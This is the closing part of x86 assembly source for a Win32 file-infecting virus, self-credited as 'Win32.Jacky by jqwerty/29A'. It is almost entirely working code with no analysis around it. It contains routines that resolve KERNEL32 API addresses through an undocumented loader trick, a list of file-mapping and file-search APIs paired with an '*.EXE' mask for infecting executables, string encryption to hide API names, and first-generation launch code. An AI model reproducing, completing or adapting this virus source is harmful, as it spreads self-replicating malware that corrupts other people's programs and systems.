        mov     edx,ebx                 ;get address of exported API functions
        add     edx,[ebp.ED_AddressOfFunctions]
        add     ebx,[edx+eax*4]         ;get address of requested API function
        mov     eax,ebx
        sub     ebx,ebp                 ;take care of forwarded API functions
        cmp     ebx,ecx
        jb      Proc_Address_not_found

End_GetProcAddressET:

        mov     [esp.Pushad_ecx],eax    ;set requested Proc Address, if found
        popad
        ret     (2*Pshd)

GetProcAddressET endp

MyGetProcAddressK32:  ;this function is simply a wraper to the GetProcAddress
                      ;  API. It retrieves the address of an API function
                      ;  exported from KERNEL32.
                      ;on entry:
                      ;  TOS+04h (Arg1): pszAPIname (pointer to API name)
                      ;  TOS+00h (return adress)
                      ;on exit:
                      ;  ECX = API function address
                      ;  ECX = 0, if not found


        pop     eax
        push    dword ptr [ebp + K32Mod - v_end]    ;KERNEL32 module handle
        push    eax

MyGetProcAddress proc

        mov     ecx,12345678h       ;this dynamic variable will hold an RVA
ddGetProcAddress = dword ptr $ - 4  ;pointer to the GetProcAddress API in
                                    ;the IAT
gotoGetProcAddressET:

        jecxz   GetProcAddressET
        push    [esp.Arg2]
        push    [esp.(Pshd).Arg1]
        add     ecx,[ebp + phost_hdr - v_end]
        call    [ecx]               ;call the original GetProcAddress API
        xchg    ecx,eax
        jecxz   gotoGetProcAddressET  ;if error, call my own GetProcAddress
        ret     (2*Pshd)              ;function

MyGetProcAddress endp

MyGetModuleHandleA proc ;this function retrieves the base address/module
                        ;handle of a DLL module previosly loaded to memory.
        pop     ecx
        pop     eax
        push    ecx
        mov     edx,[ebp + phost_hdr - v_end]
        mov     ecx,12345678h        ;this dynamic variable will hold an RVA
ddGetModuleHandleA = dword ptr $ - 4 ;pointer to the GetModuleHandleA API in
        jecxz   check_K32            ;the IAT

GetModHandleA:

        push    eax
        call    [ecx + edx]     ;call the original GetModuleHandleA API
        xor     ecx,ecx
        jmp     really_PE?

check_K32:

        mov     eax,[edx + 12345678h]   ;this dynamic variable will hold an
                                        ;RVA pointer to the ForwarderChain
                                        ;field in the KERNEL32 import
                                        ;descriptor. This is an undocumented
ptrForwarderChain = dword ptr $ - 4     ;feature to get the K32 base address
        inc     eax
        jz      End_GetModHandleA       ;make sure the base address is ok
        dec     eax
        jz      End_GetModHandleA
        cmp     eax,12345678h           ;this dynamic variable will hold the
                                        ;prev.contents of the ForwarderChain
                                        ;field in the K32 import descriptor
ddForwarderChain = dword ptr $ - 4      ;if they match, then the Win32 loader
        jz      End_GetModHandleA       ;didnt copy the K32 base address

really_PE?:

        cmp     word ptr [eax],IMAGE_DOS_SIGNATURE  ;make sure its the base
        jnz     End_GetModHandleA                   ;address of a PE module
        mov     edx,[eax.MZ_lfanew]
        cmp     dword ptr [eax + edx],IMAGE_NT_SIGNATURE
        jnz     End_GetModHandleA
        xchg    ecx,eax
        
End_GetModHandleA:

        ret

MyGetModuleHandleA endp

align 4         ;set dword alignment

v_end:

;uninitialized data     ;these variablez will be addressed in memory, but
                        ;dont waste space in the file

pv_start                dd      ?       ;pointer to virus start in memory
phost_hdr               dd      ?       ;ptr to the host base address in mem
K32Mod                  dd      ?       ;KERNEL32 base address

FunctionAddressez:      ;these variables will hold the API function addressez
                        ;used in the virus

ddCreateFileA           dd      ?
ddCreateFileMappingA    dd      ?
ddCloseHandle           dd      ?
ddUnmapViewOfFile       dd      ?
ddMapViewOfFile         dd      ?
ddFindFirstFileA        dd      ?
ddFindNextFileA         dd      ?
ddFindClose             dd      ?
ddSetFileAttributesA    dd      ?
ddSetFilePointer        dd      ?
ddSetEndOfFile          dd      ?
ddSetFileTime           dd      ?

v_stringz:              ;the API names used by the virus are decrypted here

vszKernel32             db      'KERNEL32',0
vszGetModuleHandleA     db      'GetModuleHandleA',0
vszGetProcAddress       db      'GetProcAddress',0

EXE_filez               db      '*.EXE',0       ;the file mask

FunctionNamez:

vszCreateFileA          db      'CreateFileA',0
vszCreateFileMappingA   db      'CreateFileMappingA',0
vszCloseHandle          db      'CloseHandle',0
vszUnmapViewOfFile      db      'UnmapViewOfFile',0
vszMapViewOfFile        db      'MapViewOfFile',0
vszFindFirstFileA       db      'FindFirstFileA',0
vszFindNextFileA        db      'FindNextFileA',0
vszFindClose            db      'FindClose',0
vszSetFileAttributesA   db      'SetFileAttributesA',0
vszSetFilePointer       db      'SetFilePointer',0
vszSetEndOfFile         db      'SetEndOfFile',0
vszSetFileTime          db      'SetFileTime',0

EndOfFunctionNames      db      0

align 4

FindData        WIN32_FIND_DATA ?

virtual_end:

first_generation:   ;this routine will be called only once from the first
                    ;generation sample, it simply initializes some variables
                    ;needed in the very first run.
jumps
        push    NULL
        call    GetModuleHandleA
        test    eax,eax
        jz      exit_host
        xchg    ecx,eax
        call    here
here:   pop     ebx

        mov     eax,ebx
        sub     eax,here - v_start
        sub     eax,ecx
        neg     eax
        mov     [ebx + delta_host - here],eax   ;set delta host value

        mov     eax,ebx
        sub     eax,here - host
        sub     eax,ecx
        neg     eax
        mov     [ebx + phost_start_rva - here],eax      ;set pointer to
                                                        ;host's base adress
        mov     eax,[ebx + pfnGMH - here]
        .if     word ptr [eax] == 25FFh         ; JMP [nnnnnnnn]
        mov     eax,[eax + 2]
        .endif
        sub     eax,ecx
        mov     [ebx + ddGetModuleHandleA - here],eax   ;set GetModuleHandleA
                                                        ;RVA pointer
        mov     eax,[ebx + pfnGPA - here]
        .if     word ptr [eax] == 25FFh         ; JMP [nnnnnnnn]
        mov     eax,[eax + 2]
        .endif
        sub     eax,ecx
        mov     [ebx + ddGetProcAddress - here],eax     ;set GetProcAddress
                                                        ;RVA pointer
        pushad                  ;encrypt unencrypted API namez and other
                                ;stringz
        cld
        mov     ecx,ve_string_size
        lea     esi,[ebx + ve_stringz - here]
        mov     edi,esi
        call    crypt_back
        popad
        jmp     v_start         ;ok, here we go.. jump to virus start..

crypt_back:                     ;encryption routine

        lodsb
        not     al
        ror     al,cl
        stosb
        loop    crypt_back
        ret

pfnGMH  dd      offset GetModuleHandleA
pfnGPA  dd      offset GetProcAddress

;Host code starts here

extrn   MessageBoxA: proc
extrn   ExitProcess: proc

host:                   ;here begins the original host code

;Display Message box

        push    MB_OK
        @pushsz "(c) Win32.Jacky by jqwerty/29A"
        @pushsz "First generation sample"
        push    NULL
        call    MessageBoxA

;Exit host

exit_host:

        push    0
        call    ExitProcess

        end     first_generation
